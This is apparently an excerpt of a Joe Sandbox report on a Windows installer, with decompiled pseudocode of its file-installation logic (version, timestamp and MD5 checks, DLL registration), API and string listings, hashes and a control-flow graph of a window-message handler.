                                                          														__eflags =  *(_t750 + 0x4c) & 0x00000040;
                                                          														if(( *(_t750 + 0x4c) & 0x00000040) == 0) {
                                                          															_t751 = _v8;
                                                          															__eflags =  *(_t751 + 0x4a) & 0x00000080;
                                                          															if(( *(_t751 + 0x4a) & 0x00000080) != 0) {
                                                          																_v87 = 1;
                                                          																goto L74;
                                                          															} else {
                                                          																E00455814("Same version. Skipping.", _t819, _t938, _t941);
                                                          																goto L121;
                                                          															}
                                                          														} else {
                                                          															_t821 =  &_v148;
                                                          															_t755 = E00466F04(_v9,  &_v148, _v44);
                                                          															__eflags = _t755;
                                                          															if(_t755 == 0) {
                                                          																E00455814("Failed to read existing file\'s MD5 sum. Proceeding.", _t819, _t938, _t941);
                                                          																goto L74;
                                                          															} else {
                                                          																__eflags = _v36;
                                                          																if(_v36 == 0) {
                                                          																	_t923 =  *0x48dc54; // 0x21d9a38
                                                          																	E004035DC( &_v32, _t923);
                                                          																	_t821 =  &_v132;
                                                          																	E004531F0(_v9, _t819,  &_v132, _v16, _t941);
                                                          																	_t925 =  *0x48dc50; // 0x21d99f0
                                                          																	E004035DC( &_v32, _t925);
                                                          																} else {
                                                          																	_t222 = _v36 + 0x24; // 0x24
                                                          																	_t941 = _t222;
                                                          																	memcpy( &_v132, _t941, 4 << 2);
                                                          																	_t945 = _t945 + 0xc;
                                                          																	_t938 = _t941 + 8;
                                                          																	_t821 = 0;
                                                          																}
                                                          																_t765 = E00430CAC( &_v148,  &_v132);
                                                          																__eflags = _t765;
                                                          																if(_t765 == 0) {
                                                          																	E00455814("Existing file\'s MD5 sum is different from our file. Proceeding.", _t819, _t938, _t941);
                                                          																	goto L74;
                                                          																} else {
                                                          																	E00455814("Existing file\'s MD5 sum matches our file. Skipping.", _t819, _t938, _t941);
                                                          																	goto L121;
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											__eflags = _v80 - _v72;
                                                          											if(_v80 <= _v72) {
                                                          												goto L56;
                                                          											} else {
                                                          												goto L53;
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						E00455814("Skipping due to \"onlyifdoesntexist\" flag.", _t819, _t938, _t941);
                                                          						L121:
                                                          						if(( *(_v8 + 0x4a) & 0x00000010) != 0) {
                                                          							L123:
                                                          							if(E00451830(_v9, _v44, _t973) != 0) {
                                                          								E00403548( &_v32);
                                                          								_t629 = _v8;
                                                          								_t975 =  *(_t629 + 0x4a) & 0x00000020;
                                                          								if(( *(_t629 + 0x4a) & 0x00000020) == 0) {
                                                          									E00455814("Will register the file (a DLL/OCX) later.", _t819, _t938, _t941);
                                                          								} else {
                                                          									E00455814("Will register the file (a type library) later.", _t819, _t938, _t941);
                                                          								}
                                                          								_t819 = E00403CC8(_t975);
                                                          								E00403598(_t819, _t819, _v44, _t938, _t941);
                                                          								 *((char*)(_t819 + 4)) = _v9;
                                                          								 *((char*)(_t819 + 5)) = _v8 & 0xffffff00 | ( *(_v8 + 0x4a) & 0x00000020) != 0x00000000;
                                                          								 *((char*)(_t819 + 6)) = _v8 & 0xffffff00 | ( *(_v8 + 0x4b) & 0x00000040) != 0x00000000;
                                                          								E0040B5B8( *((intOrPtr*)(_a16 - 0x10)), _t819);
                                                          							}
                                                          						} else {
                                                          							_t646 = _v8;
                                                          							_t973 =  *(_t646 + 0x4a) & 0x00000020;
                                                          							if(( *(_t646 + 0x4a) & 0x00000020) != 0) {
                                                          								goto L123;
                                                          							}
                                                          						}
                                                          						if(( *(_v8 + 0x4a) & 0x00000040) != 0) {
                                                          							E00403548( &_v32);
                                                          							_t980 = _v9;
                                                          							if(_v9 == 0) {
                                                          								E00455814("Incrementing shared file count (32-bit).", _t819, _t938, _t941);
                                                          								E00452AD8(_t819, _v54, _v44, _t938, _t941, __eflags);
                                                          							} else {
                                                          								E00455814("Incrementing shared file count (64-bit).", _t819, _t938, _t941);
                                                          								E00452AD8(_t819, _v54, _v44, _t938, _t941, _t980);
                                                          							}
                                                          							if(( *(_v8 + 0x4a) & 0x00000002) != 0) {
                                                          								__eflags = _v9;
                                                          								if(_v9 == 0) {
                                                          									_v216 = _v44;
                                                          									E00456F28( *((intOrPtr*)(_a16 - 4)), _t819,  &_v216, 0x8a, _t938, _t941, 0, 0);
                                                          								} else {
                                                          									_v216 = _v44;
                                                          									E00456F28( *((intOrPtr*)(_a16 - 4)), _t819,  &_v216, 0x8a, _t938, _t941, 1, 0);
                                                          								}
                                                          							} else {
                                                          								_v92 = _v92 | 0x00000008;
                                                          								if(_v9 != 0) {
                                                          									_v92 = _v92 | 0x00000400;
                                                          								}
                                                          								if(( *(_v8 + 0x4d) & 0x00000001) != 0) {
                                                          									_v92 = _v92 | 0x00000200;
                                                          								}
                                                          								_v212 = _v44;
                                                          								_v208 = _v48;
                                                          								_v204 =  *((intOrPtr*)(_v8 + 8));
                                                          								_v200 = _v52;
                                                          								E00456F28( *((intOrPtr*)(_a16 - 4)), _t819,  &_v212, 0x82, _t938, _t941, _v92, 3);
                                                          							}
                                                          						}
                                                          						E00403548( &_v32);
                                                          						if(_v48 == 0) {
                                                          							E0046886C(_v9,  *((short*)(_v8 + 0x48)), _v44, _t938);
                                                          						} else {
                                                          							E0046886C(_v9,  *((short*)(_v8 + 0x48)), _v48, _t938);
                                                          						}
                                                          						_pop(_t887);
                                                          						 *[fs:eax] = _t887;
                                                          						_pop(_t888);
                                                          						 *[fs:eax] = _t888;
                                                          						_push(0x46989e);
                                                          						_t987 = _v56;
                                                          						if(_v56 != 0) {
                                                          							return E004513FC(_v9, _v48, _t987);
                                                          						}
                                                          						return 0;
                                                          					}
                                                          				}
                                                          				L148:
                                                          			}
















































































































                                                          0x00468940
                                                          0x00468940
                                                          0x00468940
                                                          0x00468941
                                                          0x00468943
                                                          0x00468949
                                                          0x0046894a
                                                          0x0046894b
                                                          0x0046894e
                                                          0x00468954
                                                          0x0046895a
                                                          0x0046895d
                                                          0x00468960
                                                          0x00468963
                                                          0x00468966
                                                          0x00468969
                                                          0x0046896c
                                                          0x0046896f
                                                          0x00468972
                                                          0x00468978
                                                          0x00468980
                                                          0x00468987
                                                          0x00468988
                                                          0x0046898d
                                                          0x00468990
                                                          0x00468998
                                                          0x0046899d
                                                          0x004689a1
                                                          0x004689a8
                                                          0x004689ae
                                                          0x004689c1
                                                          0x004689c3
                                                          0x004689b0
                                                          0x004689b2
                                                          0x004689bc
                                                          0x004689bc
                                                          0x004689c9
                                                          0x004689ce
                                                          0x004689d2
                                                          0x004689dc
                                                          0x004689e5
                                                          0x004689eb
                                                          0x004689f3
                                                          0x004689fa
                                                          0x004689fb
                                                          0x00468a00
                                                          0x00468a03
                                                          0x00468a08
                                                          0x00468a09
                                                          0x00468a0e
                                                          0x00468a11
                                                          0x00468a14
                                                          0x00468a1a
                                                          0x00468a21
                                                          0x00468a23
                                                          0x00468a23
                                                          0x00468a31
                                                          0x00468a33
                                                          0x00468a33
                                                          0x00468a3e
                                                          0x00468a40
                                                          0x00468a40
                                                          0x00468a4b
                                                          0x00468a4d
                                                          0x00468a4d
                                                          0x00468a5b
                                                          0x00468a5d
                                                          0x00468a5d
                                                          0x00468a67
                                                          0x00468a6c
                                                          0x00468a72
                                                          0x00468a74
                                                          0x00468a86
                                                          0x00468a8a
                                                          0x00468aa2
                                                          0x00468a8c
                                                          0x00468a95
                                                          0x00468a95
                                                          0x00468a76
                                                          0x00468a79
                                                          0x00468a7f
                                                          0x00468a7f
                                                          0x00468ab0
                                                          0x00468abe
                                                          0x00468ac8
                                                          0x00468ad0
                                                          0x00468ad6
                                                          0x00468ae3
                                                          0x00468aea
                                                          0x00468aef
                                                          0x00468afa
                                                          0x00468b0e
                                                          0x00468b15
                                                          0x00468b1c
                                                          0x00468b28
                                                          0x00468b28
                                                          0x00468b28
                                                          0x00468b28
                                                          0x00468b15
                                                          0x00468b32
                                                          0x00468b37
                                                          0x00468b3e
                                                          0x00468b43
                                                          0x00468b46
                                                          0x00468b46
                                                          0x00468b4e
                                                          0x00468b50
                                                          0x00468b50
                                                          0x00468b58
                                                          0x00468b88
                                                          0x00468b96
                                                          0x00468b5a
                                                          0x00468b61
                                                          0x00468b7b
                                                          0x00468b7b
                                                          0x00468b7f
                                                          0x00468b63
                                                          0x00468b63
                                                          0x00468b69
                                                          0x00468b6f
                                                          0x00468b6f
                                                          0x00468b84
                                                          0x00468b84
                                                          0x00468b9a
                                                          0x00468bd6
                                                          0x00468b9c
                                                          0x00468ba5
                                                          0x00468bb0
                                                          0x00468bb6
                                                          0x00468bc3
                                                          0x00468bca
                                                          0x00468bca
                                                          0x00468bdf
                                                          0x0046910c
                                                          0x0046910f
                                                          0x00469113
                                                          0x00000000
                                                          0x00469115
                                                          0x00469115
                                                          0x00469119
                                                          0x00000000
                                                          0x0046911b
                                                          0x00469120
                                                          0x00000000
                                                          0x00469120
                                                          0x00469119
                                                          0x00468be5
                                                          0x00468bea
                                                          0x00468bf6
                                                          0x00468c0a
                                                          0x00468c10
                                                          0x00468c15
                                                          0x00468c23
                                                          0x00468c26
                                                          0x00468c2a
                                                          0x00468c66
                                                          0x00468c2c
                                                          0x00468c35
                                                          0x00468c40
                                                          0x00468c46
                                                          0x00468c53
                                                          0x00468c5a
                                                          0x00468c5a
                                                          0x00468c6b
                                                          0x00468c6e
                                                          0x00468c72
                                                          0x00468f31
                                                          0x00000000
                                                          0x00468c78
                                                          0x00468c78
                                                          0x00468c7c
                                                          0x00468c80
                                                          0x00468cac
                                                          0x00468cc2
                                                          0x00468c82
                                                          0x00468c82
                                                          0x00468c85
                                                          0x00468c8c
                                                          0x00468c95
                                                          0x00468c9e
                                                          0x00468c9e
                                                          0x00468cc5
                                                          0x00468cc9
                                                          0x00468d2b
                                                          0x00468ccb
                                                          0x00468ccf
                                                          0x00468cd5
                                                          0x00468ce0
                                                          0x00468ce6
                                                          0x00468cf1
                                                          0x00468cf7
                                                          0x00468d02
                                                          0x00468d08
                                                          0x00468d1f
                                                          0x00468d1f
                                                          0x00468d39
                                                          0x00468d44
                                                          0x00468d4a
                                                          0x00468d4f
                                                          0x00468d51
                                                          0x00468f20
                                                          0x00468f25
                                                          0x00468f29
                                                          0x00468f2b
                                                          0x00468f2b
                                                          0x00000000
                                                          0x00468d57
                                                          0x00468d5b
                                                          0x00468d61
                                                          0x00468d6c
                                                          0x00468d72
                                                          0x00468d7d
                                                          0x00468d83
                                                          0x00468d8e
                                                          0x00468d94
                                                          0x00468da1
                                                          0x00468dab
                                                          0x00468db0
                                                          0x00468db4
                                                          0x00468dce
                                                          0x00468dce
                                                          0x00468dda
                                                          0x00468ddd
                                                          0x00468e2c
                                                          0x00468e31
                                                          0x00000000
                                                          0x00468ddf
                                                          0x00468dee
                                                          0x00468dfe
                                                          0x00468e09
                                                          0x00468e0f
                                                          0x00468e1a
                                                          0x00468e1e
                                                          0x00468e23
                                                          0x00468e26
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00468e26
                                                          0x00468db6
                                                          0x00468db9
                                                          0x00468dbc
                                                          0x00000000
                                                          0x00468dbe
                                                          0x00468dc1
                                                          0x00468dc4
                                                          0x00468e3b
                                                          0x00468e3e
                                                          0x00468e41
                                                          0x00468f35
                                                          0x00468f35
                                                          0x00468f39
                                                          0x00468fff
                                                          0x00469002
                                                          0x00469007
                                                          0x0046900b
                                                          0x0046901f
                                                          0x00469023
                                                          0x00000000
                                                          0x00469025
                                                          0x00469034
                                                          0x00469044
                                                          0x0046904f
                                                          0x00469055
                                                          0x00469060
                                                          0x00469069
                                                          0x0046906c
                                                          0x0046907d
                                                          0x0046907d
                                                          0x00469088
                                                          0x0046908a
                                                          0x0046908d
                                                          0x00000000
                                                          0x00000000
                                                          0x00469093
                                                          0x00469096
                                                          0x00000000
                                                          0x0046909c
                                                          0x0046909f
                                                          0x004690a3
                                                          0x004690c6
                                                          0x004690c9
                                                          0x004690cf
                                                          0x004690d6
                                                          0x004690df
                                                          0x004690e4
                                                          0x004690e6
                                                          0x004690f9
                                                          0x004690e8
                                                          0x004690ed
                                                          0x004690ed
                                                          0x00469101
                                                          0x00469105
                                                          0x00000000
                                                          0x00469107
                                                          0x00000000
                                                          0x00469107
                                                          0x004690a5
                                                          0x004690a5
                                                          0x004690ae
                                                          0x004690b3
                                                          0x004690b5
                                                          0x00000000
                                                          0x004690b7
                                                          0x004690bc
                                                          0x00000000
                                                          0x004690bc
                                                          0x004690b5
                                                          0x004690a3
                                                          0x00000000
                                                          0x00469096
                                                          0x0046912a
                                                          0x0046912f
                                                          0x0046913a
                                                          0x00469142
                                                          0x00469148
                                                          0x004691ae
                                                          0x0046914a
                                                          0x0046914a
                                                          0x0046914e
                                                          0x00469150
                                                          0x0046915f
                                                          0x00469161
                                                          0x00469164
                                                          0x0046916b
                                                          0x0046916d
                                                          0x0046917c
                                                          0x0046917e
                                                          0x0046918a
                                                          0x0046918f
                                                          0x00469191
                                                          0x00469193
                                                          0x0046919f
                                                          0x004691a1
                                                          0x004691a1
                                                          0x00469191
                                                          0x0046916b
                                                          0x004691a4
                                                          0x004691a8
                                                          0x004691a8
                                                          0x004691b5
                                                          0x004691bb
                                                          0x004691cd
                                                          0x004691e0
                                                          0x004691f2
                                                          0x004691fd
                                                          0x00469206
                                                          0x00469218
                                                          0x0046921d
                                                          0x00469222
                                                          0x00469223
                                                          0x00469228
                                                          0x0046922b
                                                          0x0046922e
                                                          0x00469234
                                                          0x00469235
                                                          0x0046923a
                                                          0x0046923d
                                                          0x00469240
                                                          0x00469247
                                                          0x0046924d
                                                          0x00469252
                                                          0x00469256
                                                          0x004692a8
                                                          0x004692ad
                                                          0x004692b2
                                                          0x004692b3
                                                          0x004692b8
                                                          0x004692bb
                                                          0x004692c1
                                                          0x004692c7
                                                          0x004692cc
                                                          0x004692d0
                                                          0x004692ee
                                                          0x004692d2
                                                          0x004692d5
                                                          0x004692de
                                                          0x004692de
                                                          0x004692f3
                                                          0x004692f5
                                                          0x004692f8
                                                          0x004692fb
                                                          0x00469308
                                                          0x00469258
                                                          0x00469265
                                                          0x0046926d
                                                          0x00469273
                                                          0x00469280
                                                          0x00469295
                                                          0x00469312
                                                          0x00469314
                                                          0x00469315
                                                          0x00469344
                                                          0x00469349
                                                          0x0046934c
                                                          0x00469350
                                                          0x00469352
                                                          0x0046935e
                                                          0x00469363
                                                          0x0046936a
                                                          0x0046936f
                                                          0x0046936f
                                                          0x0046936a
                                                          0x00469374
                                                          0x00469376
                                                          0x00469379
                                                          0x0046937c
                                                          0x00469389
                                                          0x00469389
                                                          0x0046906e
                                                          0x00469073
                                                          0x00000000
                                                          0x00469073
                                                          0x0046906c
                                                          0x0046900d
                                                          0x00469012
                                                          0x00000000
                                                          0x00469012
                                                          0x00468f3f
                                                          0x00468f3f
                                                          0x00468f42
                                                          0x00468f46
                                                          0x00000000
                                                          0x00468f4c
                                                          0x00468f4c
                                                          0x00468f4e
                                                          0x00468f56
                                                          0x00468f5b
                                                          0x00000000
                                                          0x00468f50
                                                          0x00468f50
                                                          0x00468f54
                                                          0x00468f6d
                                                          0x00468f72
                                                          0x00468f74
                                                          0x00468f8d
                                                          0x00468f92
                                                          0x00468f94
                                                          0x00000000
                                                          0x00468f96
                                                          0x00468f96
                                                          0x00468fa2
                                                          0x00468fa5
                                                          0x00468ff0
                                                          0x00468ff5
                                                          0x00000000
                                                          0x00468fa7
                                                          0x00468fb6
                                                          0x00468fc6
                                                          0x00468fd1
                                                          0x00468fd7
                                                          0x00468fe2
                                                          0x00468fe6
                                                          0x00468feb
                                                          0x00468fee
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00468fee
                                                          0x00468fa5
                                                          0x00468f76
                                                          0x00468f7b
                                                          0x00000000
                                                          0x00468f7b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00468f54
                                                          0x00468f4e
                                                          0x00468f46
                                                          0x00468e47
                                                          0x00468e4a
                                                          0x00468e4d
                                                          0x00000000
                                                          0x00468e53
                                                          0x00468e53
                                                          0x00468e56
                                                          0x00468e5a
                                                          0x00000000
                                                          0x00468e60
                                                          0x00468e60
                                                          0x00468e63
                                                          0x00468e67
                                                          0x00468efd
                                                          0x00468f00
                                                          0x00468f04
                                                          0x00468f15
                                                          0x00000000
                                                          0x00468f06
                                                          0x00468f0b
                                                          0x00000000
                                                          0x00468f0b
                                                          0x00468e6d
                                                          0x00468e6d
                                                          0x00468e79
                                                          0x00468e7e
                                                          0x00468e80
                                                          0x00468ef6
                                                          0x00000000
                                                          0x00468e82
                                                          0x00468e82
                                                          0x00468e86
                                                          0x00468e9d
                                                          0x00468ea3
                                                          0x00468ea8
                                                          0x00468eb1
                                                          0x00468eb9
                                                          0x00468ebf
                                                          0x00468e88
                                                          0x00468e8b
                                                          0x00468e8b
                                                          0x00468e96
                                                          0x00468e96
                                                          0x00468e96
                                                          0x00468e96
                                                          0x00468e96
                                                          0x00468ecd
                                                          0x00468ed2
                                                          0x00468ed4
                                                          0x00468eea
                                                          0x00000000
                                                          0x00468ed6
                                                          0x00468edb
                                                          0x00000000
                                                          0x00468edb
                                                          0x00468ed4
                                                          0x00468e80
                                                          0x00468e67
                                                          0x00468e5a
                                                          0x00468e4d
                                                          0x00468dc6
                                                          0x00468dc9
                                                          0x00468dcc
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00468dcc
                                                          0x00468dc4
                                                          0x00468dbc
                                                          0x00468db4
                                                          0x00468d51
                                                          0x00468bf8
                                                          0x00468bfd
                                                          0x0046967b
                                                          0x00469682
                                                          0x0046968d
                                                          0x0046969a
                                                          0x0046969f
                                                          0x004696a4
                                                          0x004696a7
                                                          0x004696ab
                                                          0x004696be
                                                          0x004696ad
                                                          0x004696b2
                                                          0x004696b2
                                                          0x004696d2
                                                          0x004696d9
                                                          0x004696e1
                                                          0x004696ee
                                                          0x004696fb
                                                          0x00469706
                                                          0x00469706
                                                          0x00469684
                                                          0x00469684
                                                          0x00469687
                                                          0x0046968b
                                                          0x00000000
                                                          0x00000000
                                                          0x0046968b
                                                          0x00469712
                                                          0x0046971b
                                                          0x00469720
                                                          0x00469724
                                                          0x00469744
                                                          0x00469751
                                                          0x00469726
                                                          0x0046972b
                                                          0x00469738
                                                          0x00469738
                                                          0x0046975d
                                                          0x004697c4
                                                          0x004697c8
                                                          0x004697f5
                                                          0x0046980b
                                                          0x004697ca
                                                          0x004697d1
                                                          0x004697e7
                                                          0x004697e7
                                                          0x0046975f
                                                          0x0046975f
                                                          0x00469767
                                                          0x00469769
                                                          0x00469769
                                                          0x00469777
                                                          0x00469779
                                                          0x00469779
                                                          0x00469789
                                                          0x00469792
                                                          0x0046979e
                                                          0x004697a7
                                                          0x004697bd
                                                          0x004697bd
                                                          0x0046975d
                                                          0x00469813
                                                          0x0046981c
                                                          0x0046983f
                                                          0x0046981e
                                                          0x0046982b
                                                          0x0046982b
                                                          0x00469846
                                                          0x00469849
                                                          0x0046987a
                                                          0x0046987d
                                                          0x00469880
                                                          0x00469885
                                                          0x00469889
                                                          0x00000000
                                                          0x00469891
                                                          0x00469896
                                                          0x00469896
                                                          0x00468bf6
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 00455814: GetLocalTime.KERNEL32(?,00000000,0045599B,?,?,0048DF10,00000000), ref: 00455844
                                                          • LocalFileTimeToFileTime.KERNEL32(-00000034,00000004,00000000,0046984E,?,00000000,00469897,?,00000000,004699D0,?,00000000,?,00000000,?,0046A316), ref: 00468B7F
                                                            • Part of subcall function 004531A8: FindClose.KERNEL32(00000000,000000FF,00468B96,00000000,0046984E,?,00000000,00469897,?,00000000,004699D0,?,00000000,?,00000000), ref: 004531BE
                                                            • Part of subcall function 00466E18: FileTimeToLocalFileTime.KERNEL32(00000001), ref: 00466E20
                                                            • Part of subcall function 00466E18: FileTimeToSystemTime.KERNEL32(?,?,00000001), ref: 00466E2F
                                                            • Part of subcall function 0042C8F0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C914
                                                            • Part of subcall function 00452AD8: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,00452CAF,?,00000000,00452D73), ref: 00452BFF
                                                          Strings
                                                          • Same time stamp. Skipping., xrefs: 00468F76
                                                          • @, xrefs: 00468A40
                                                          • -- File entry --, xrefs: 00468993
                                                          • Version of existing file: %u.%u.%u.%u, xrefs: 00468DA6
                                                          • .tmp, xrefs: 004691D8
                                                          • Will register the file (a type library) later., xrefs: 004696AD
                                                          • Installing the file., xrefs: 0046912A
                                                          • Will register the file (a DLL/OCX) later., xrefs: 004696B9
                                                          • Dest filename: %s, xrefs: 00468AE5
                                                          • Same version. Skipping., xrefs: 00468F06
                                                          • Version of our file: %u.%u.%u.%u, xrefs: 00468D1A
                                                          • User opted not to overwrite the existing file. Skipping., xrefs: 0046906E
                                                          • Skipping due to "onlyifdoesntexist" flag., xrefs: 00468BF8
                                                          • Existing file is protected by Windows File Protection. Skipping., xrefs: 0046900D
                                                          • Failed to strip read-only attribute., xrefs: 004690F4
                                                          • Existing file's MD5 sum is different from our file. Proceeding., xrefs: 00468EE5
                                                          • Version of our file: (none), xrefs: 00468D26
                                                          • Existing file has a later time stamp. Skipping., xrefs: 00468FF0
                                                          • Stripped read-only attribute., xrefs: 004690E8
                                                          • Time stamp of existing file: %s, xrefs: 00468C55
                                                          • Dest file exists., xrefs: 00468BE5
                                                          • User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 004690B7
                                                          • Existing file is a newer version. Skipping., xrefs: 00468E2C
                                                          • Existing file's MD5 sum matches our file. Skipping., xrefs: 00468ED6
                                                          • Incrementing shared file count (64-bit)., xrefs: 00469726
                                                          • Version of existing file: (none), xrefs: 00468F1B
                                                          • Incrementing shared file count (32-bit)., xrefs: 0046973F
                                                          • , xrefs: 00468DF9, 00468FC1, 0046903F
                                                          • Time stamp of our file: %s, xrefs: 00468BC5
                                                          • Skipping due to "onlyifdestfileexists" flag., xrefs: 0046911B
                                                          • Time stamp of existing file: (failed to read), xrefs: 00468C61
                                                          • InUn, xrefs: 00469356
                                                          • Dest file is protected by Windows File Protection., xrefs: 00468B17
                                                          • Couldn't read time stamp. Skipping., xrefs: 00468F56
                                                          • Time stamp of our file: (failed to read), xrefs: 00468BD1
                                                          • Failed to read existing file's MD5 sum. Proceeding., xrefs: 00468EF1
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Time$File$Local$CloseFindFullNamePathQuerySystemValue
                                                          • String ID: $-- File entry --$.tmp$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's MD5 sum is different from our file. Proceeding.$Existing file's MD5 sum matches our file. Skipping.$Failed to read existing file's MD5 sum. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing the file.$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
                                                          • API String ID: 2131814033-2710193735
                                                          • Opcode ID: 3592ff47ae3a30284f7f24d0b83eeca75af130e836cb370d2386e0ae0c6e5917
                                                          • Instruction ID: 2922f7f219a65e75ed882ee80f0673666a165f30165e7c79126a7e7361798852
                                                          • Opcode Fuzzy Hash: 3592ff47ae3a30284f7f24d0b83eeca75af130e836cb370d2386e0ae0c6e5917
                                                          • Instruction Fuzzy Hash: 56829530A042489FDF21DFA5C885BDDBBB5AF05304F1441ABE844BB392E7799E45CB1A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1675 423e24-423e58 1676 423e5a-423e5b 1675->1676 1677 423e8c-423ea3 call 423d80 1675->1677 1678 423e5d-423e79 call 40b654 1676->1678 1682 423f04-423f09 1677->1682 1683 423ea5 1677->1683 1711 423e7b-423e83 1678->1711 1712 423e88-423e8a 1678->1712 1687 423f0b 1682->1687 1688 423f3f-423f44 1682->1688 1685 423eab-423eae 1683->1685 1686 423f68-423f78 1683->1686 1689 423eb0 1685->1689 1690 423edd-423ee0 1685->1690 1693 423f83-423f8b call 4243ac 1686->1693 1694 423f7a-423f7f 1686->1694 1696 423f11-423f19 1687->1696 1697 4241c9-4241d1 1687->1697 1691 4242b2-4242c0 IsIconic 1688->1691 1692 423f4a-423f4d 1688->1692 1702 423eb6-423eb9 1689->1702 1703 42400e-42401e call 423d9c 1689->1703 1706 423fc1-423fc8 1690->1706 1707 423ee6-423ee7 1690->1707 1698 4242c6-4242d1 GetFocus 1691->1698 1699 42436a-424372 1691->1699 1704 423f53-423f54 1692->1704 1705 4242ee-424303 call 424a68 1692->1705 1693->1699 1709 423f90-423f98 call 4243f4 1694->1709 1710 423f81-423fa4 call 423d9c 1694->1710 1700 42412b-424152 SendMessageA 1696->1700 1701 423f1f-423f24 1696->1701 1697->1699 1708 4241d7-4241e2 call 4183f8 1697->1708 1698->1699 1723 4242d7-4242e0 call 41f20c 1698->1723 1716 424389-42438f 1699->1716 1700->1699 1714 424262-42426d 1701->1714 1715 423f2a-423f2b 1701->1715 1724 424036-424052 PostMessageA call 423d9c 1702->1724 1725 423ebf-423ec2 1702->1725 1703->1699 1718 424305-42430c 1704->1718 1719 423f5a-423f5d 1704->1719 1705->1699 1706->1699 1727 423fce-423fd5 1706->1727 1728 424157-42415e 1707->1728 1729 423eed-423ef0 1707->1729 1708->1699 1769 4241e8-4241f7 call 4183f8 IsWindowEnabled 1708->1769 1709->1699 1710->1699 1711->1716 1712->1677 1712->1678 1714->1699 1734 424273-424285 1714->1734 1731 423f31-423f34 1715->1731 1732 42428a-424295 1715->1732 1745 424323-424336 call 424744 1718->1745 1746 42430e-424321 call 4246ec 1718->1746 1735 423f63 1719->1735 1736 424338-42433f 1719->1736 1723->1699 1778 4242e6-4242ec SetFocus 1723->1778 1724->1699 1742 423ec8-423ecb 1725->1742 1743 4240bd-4240c4 1725->1743 1727->1699 1747 423fdb-423fe1 1727->1747 1728->1699 1738 424164-424169 call 404fa4 1728->1738 1748 423ef6-423ef9 1729->1748 1749 424057-424077 call 423d9c 1729->1749 1753 423f3a 1731->1753 1754 42416e-424176 1731->1754 1732->1699 1756 42429b-4242ad 1732->1756 1734->1699 1755 424363-424364 call 423d9c 1735->1755 1751 424352-424361 1736->1751 1752 424341-424350 1736->1752 1738->1699 1762 423ed1-423ed2 1742->1762 1763 423fe6-423ff4 IsIconic 1742->1763 1764 4240c6-4240d9 call 423d2c 1743->1764 1765 4240f7-424108 call 423d9c 1743->1765 1745->1699 1746->1699 1747->1699 1767 424023-424031 call 424390 1748->1767 1768 423eff 1748->1768 1795 42409b-4240b8 call 423c9c PostMessageA 1749->1795 1796 424079-424096 call 423d2c PostMessageA 1749->1796 1751->1699 1752->1699 1753->1755 1754->1699 1776 42417c-424183 1754->1776 1791 424369 1755->1791 1756->1699 1779 423ed8 1762->1779 1780 423fa9-423fb1 1762->1780 1786 424002-424009 call 423d9c 1763->1786 1787 423ff6-423ffd call 423dd8 1763->1787 1808 4240eb-4240f2 call 423d9c 1764->1808 1809 4240db-4240e5 call 41f170 1764->1809 1801 42410a-424118 call 41f0bc 1765->1801 1802 42411e-424126 call 423c9c 1765->1802 1767->1699 1768->1755 1769->1699 1810 4241fd-42420c call 4183f8 IsWindowVisible 1769->1810 1776->1699 1794 424189-424198 call 4183f8 IsWindowEnabled 1776->1794 1778->1699 1779->1755 1780->1699 1797 423fb7-423fbc call 422e64 1780->1797 1786->1699 1787->1699 1791->1699 1794->1699 1824 42419e-4241b4 call 412528 1794->1824 1795->1699 1796->1699 1797->1699 1801->1802 1802->1699 1808->1699 1809->1808 1810->1699 1826 424212-42425d GetFocus call 4183f8 SetFocus call 415458 SetFocus 1810->1826 1824->1699 1831 4241ba-4241c4 1824->1831 1826->1699 1831->1699
                                                          C-Code - Quality: 89%
                                                          			E00423E24(intOrPtr __eax, intOrPtr* __edx) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr* _v12;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				intOrPtr _t129;
                                                          				struct HWND__* _t130;
                                                          				struct HWND__* _t133;
                                                          				void* _t134;
                                                          				struct HWND__* _t135;
                                                          				struct HWND__* _t137;
                                                          				struct HWND__* _t139;
